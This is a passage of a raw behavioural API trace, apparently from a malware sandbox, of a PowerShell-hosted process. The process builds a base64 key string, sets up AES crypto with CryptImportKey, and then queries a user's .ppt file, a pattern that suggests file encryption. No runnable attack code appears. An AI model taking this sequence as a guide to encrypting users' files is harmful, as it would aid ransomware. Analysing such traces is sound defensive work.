(param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0215.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0215.773] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.773] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0215.773] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0215.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0215.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0215.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0215.774] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.774] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0215.774] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0215.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0215.774] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.775] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0215.775] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0215.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0215.775] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.775] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0215.775] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0215.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0215.775] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.775] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0215.775] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0215.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0215.776] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.776] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0215.776] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0215.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0215.776] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.776] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0215.776] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0215.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0215.776] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0215.777] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0215.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0215.777] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0215.777] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0215.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0215.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0215.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0215.778] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.778] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0215.778] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0215.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0215.778] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.778] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0215.778] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0215.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0215.779] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.779] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0215.779] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0215.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0215.779] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.779] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0215.779] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0215.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0215.779] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.779] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0215.779] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0215.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0215.780] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.780] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0215.780] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0215.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0215.780] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0215.781] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0215.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0215.781] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0215.781] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0215.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0215.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0215.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0215.782] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0215.782] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0215.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0215.782] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0215.782] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0215.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0215.782] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.783] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0215.783] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0215.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0215.783] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.783] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0215.783] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0215.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0215.783] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.783] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0215.784] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0215.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0215.784] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.784] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0215.784] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0215.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0215.784] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.784] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0215.784] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0215.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0215.785] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.785] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0215.785] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0215.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0215.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0215.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0215.785] SystemFunction041 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.786] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0215.786] SystemFunction040 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0215.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0215.786] SystemFunction041 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.786] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0215.786] SystemFunction040 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0215.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0215.786] SystemFunction041 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.786] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0215.786] SystemFunction040 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0215.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0215.787] SystemFunction041 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.787] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0215.787] SystemFunction040 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.787] EtwEventActivityIdControl () returned 0x0 [0215.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0215.787] SystemFunction041 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.787] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0215.787] SystemFunction040 (in: Memory=0x5c92cbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92cbc) returned 0x0 [0215.789] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cee0) returned 1 [0215.791] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x237d478*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c69200) returned 1 [0215.791] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0215.792] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.792] EtwEventActivityIdControl () returned 0x0 [0215.792] EtwEventActivityIdControl () returned 0x0 [0215.792] EtwEventActivityIdControl () returned 0x0 [0216.221] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 0x20 [0216.225] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 0x20 [0216.226] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0216.226] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0216.226] EtwEventActivityIdControl () returned 0x0 [0216.227] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.227] EtwEventActivityIdControl () returned 0x0 [0216.228] EtwEventActivityIdControl () returned 0x0 [0216.228] EtwEventActivityIdControl () returned 0x0 [0216.233] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0216.233] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0216.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0216.234] CreateFileW 